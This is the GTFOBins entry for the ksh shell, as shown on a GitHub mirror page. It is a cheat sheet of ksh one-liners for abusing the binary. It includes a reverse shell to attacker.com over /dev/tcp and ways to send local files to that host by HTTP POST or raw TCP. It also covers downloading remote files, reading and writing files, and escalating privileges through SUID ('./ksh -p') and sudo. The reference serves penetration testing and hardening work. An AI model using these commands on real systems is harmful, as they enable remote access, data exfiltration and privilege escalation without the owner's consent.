1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 16:26:01 +02:00
GTFOBins.github.io/_gtfobins/ksh.md
2018-10-05 18:55:38 +01:00

2.0 KiB

functions
shell reverse-shell file-upload file-download file-write file-read suid sudo
code
ksh
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 ksh -c 'ksh -i > /dev/tcp/$RHOST/$RPORT 2>&1 0>&1'
description code
Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file. export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_send ksh -c 'echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT'
description code
Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_send ksh -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
description code
Fetch a remote file via HTTP GET request. export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_get ksh -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \ 3<>/dev/tcp/$RHOST/$RPORT \ | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
description code
Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file. export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_get ksh -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
code
export LFILE=file_to_write ksh -c 'echo DATA > $LFILE'
description code
It trims trailing newlines. export LFILE=file_to_read ksh -c 'echo "$(<$LFILE)"'
description code
It trims trailing newlines. export LFILE=file_to_read ksh -c $'read -r -d \x04 < "$LFILE"; echo "$REPLY"'
code
./ksh -p
code
sudo ksh